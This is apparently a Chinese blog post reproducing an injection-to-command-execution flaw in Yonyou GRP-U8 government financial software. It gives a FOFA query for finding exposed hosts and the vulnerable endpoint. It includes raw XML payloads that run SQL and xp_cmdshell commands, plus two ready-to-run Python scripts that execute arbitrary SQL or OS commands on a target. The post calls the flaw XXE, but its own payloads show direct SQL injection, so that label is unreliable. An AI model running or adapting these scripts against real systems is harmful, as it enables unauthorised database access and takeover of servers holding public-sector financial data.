用友GRP-u8 注入-RCE漏洞

用友GRP-u8 注入-RCE漏洞

工作中遇到的漏洞,基于前人的复现教程成功复现,记录下自己的复现笔记,如有侵权,请联系我删除

漏洞详情

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
在这里插入图片描述

该系统被曝存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞复现

用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入)

fofa搜索语句 title=“GRP-U8”
1、使用hackbar POST方式上传数据包,BrupSuite进行抓包;
漏洞位置:

http://ip:port/Proxy
u8qx/Tindex.jsp

在这里插入图片描述
2、抓包后,修改数据包,插入XML语句,这里是执行了sql语句(没必要排版,直接有数据就行,我只是为了好看)

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
<DATAFORMAT>XML</DATAFORMAT>
	<R9FUNCTION> 
		<NAME>AS_DataRequest</NAME>
		<PARAMS><PARAM> 
		<NAME>ProviderName</NAME>
		<DATA format="text">DataSetProviderData</DATA>
		</PARAM><PARAM> 
		<NAME>Data</NAME>
		<DATA format="text">select user,db_name(),host_name(),@@version</DATA>
		</PARAM></PARAMS> 
	</R9FUNCTION>
</R9PACKET>

在这里插入图片描述
3、改为利用sql server命令执行

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
	<DATAFORMAT>XML</DATAFORMAT>
	<R9FUNCTION> 
		<NAME>AS_DataRequest</NAME>
		<PARAMS><PARAM> 
		<NAME>ProviderName</NAME>
		<DATA format="text">DataSetProviderData</DATA>
		</PARAM><PARAM> 
		<NAME>Data</NAME>
		<DATA format="text">exec xp_cmdshell 'dir'</DATA> 
		</PARAM></PARAMS>
	</R9FUNCTION>
</R9PACKET>

在这里插入图片描述
4、使用POC验证结果
在这里插入图片描述

Python POC 源代码

GRP-U8_SQLinjection_POC

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python poc.py url sql"
    sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
	url = url + '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW COLUMN1="(.*?)"'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '查询成功!'
	print ROW[0]
if __name__ == "__main__":
    poc(sys.argv[1],sys.argv[2])

GRP-U8_SQLinjection_EXP

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python exp.py url cmd"
    sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
	url = url+ '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW output="(.*?)" />'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '命令执行成功!'
	for i in range(len(ROW)):
		print ROW[i]
if __name__ == "__main__":
    exp(sys.argv[1],sys.argv[2])

参考文章

https://blog.csdn.net/weixin_44146996/article/details/109863346


版权声明:本文为maverickpig原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。